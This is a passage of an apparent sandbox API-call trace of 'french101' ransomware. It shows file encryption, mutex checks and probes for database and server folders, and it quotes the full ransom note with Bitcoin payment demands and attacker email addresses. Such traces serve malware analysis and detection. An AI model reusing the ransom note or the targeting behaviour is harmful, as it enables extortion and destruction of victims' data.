"c:\\588bce7c90097ed212\\2070\\p=ayqigfebmwt=makmzquyn6ig5ijvmxgrstir9uonszka.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.451] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0283.451] CloseHandle (hObject=0x398) returned 1 [0283.451] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\P=aYqIgfEBmwT=MAKmZQUYn6iG5ijVmXgRsTIR9uonSZkA.french101", dwFileAttributes=0x80) returned 1 [0283.451] CloseHandle (hObject=0x398) returned 0 [0283.451] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.452] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.452] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.452] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.452] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.452] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.452] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.452] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.452] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.452] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0283.452] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0283.452] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0283.452] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0283.452] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0283.452] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\2070\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.453] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.453] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0283.453] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.453] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.453] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0283.453] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.453] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0283.453] CloseHandle (hObject=0x398) returned 1 [0283.453] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.453] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.453] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.453] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.453] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.453] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.453] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.453] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.453] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.453] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.454] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.454] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.454] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.454] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.454] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.455] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0283.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0283.455] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0283.455] GetLastError () returned 0x12 [0283.455] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0283.455] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.455] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.455] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.455] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.455] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.455] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.455] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.455] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.455] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.455] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0283.455] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0283.456] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.456] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.456] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.456] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.456] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.456] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.456] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.456] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.456] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.456] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.456] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.456] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.456] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.456] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.456] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.456] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.456] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.456] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.457] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.457] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.457] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.457] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.457] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.457] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.457] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.457] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.457] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.457] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.457] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.457] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.457] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.457] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.457] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.457] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.457] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.457] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.457] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.457] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.457] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.458] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.458] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.458] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.458] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.458] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.460] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.460] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.460] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.460] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.460] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.460] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.460] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.460] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.460] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.460] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.460] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.460] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.460] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0283.461] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.461] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0283.461] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.461] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.461] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.461] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.461] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.461] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.461] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.461] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.461] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.461] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.461] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.461] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.461] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.461] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.461] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.461] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.461] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.462] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0283.462] GetLastError () returned 0x12 [0283.462] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0283.462] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0283.462] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0283.462] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0283.462] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.462] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.462] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.462] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.462] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.462] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.462] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.462] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.462] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.462] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.462] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.462] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.463] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.463] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.463] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.463] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.463] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.463] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0283.463] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.463] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.463] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\3076", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\3076") returned 1 [0283.463] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.463] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.463] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.463] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0283.463] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0283.463] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0283.463] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.463] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0283.463] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.464] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.464] GetLastError () returned 0x3 [0283.464] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.464] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0283.464] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.464] GetLastError () returned 0x2 [0283.464] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.464] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0283.464] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.464] GetLastError () returned 0x2 [0283.465] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0283.465] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.465] GetLastError () returned 0x2 [0283.465] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0283.465] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.465] GetLastError () returned 0x2 [0283.465] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec01c8, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0283.465] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.465] GetLastError () returned 0x2 [0283.466] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷠm°") returned 6 [0283.466] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.466] GetLastError () returned 0x2 [0283.466] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\3076\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\3076\\") returned 0x1b [0283.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0283.466] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.466] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0283.466] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.466] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0283.466] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0283.466] 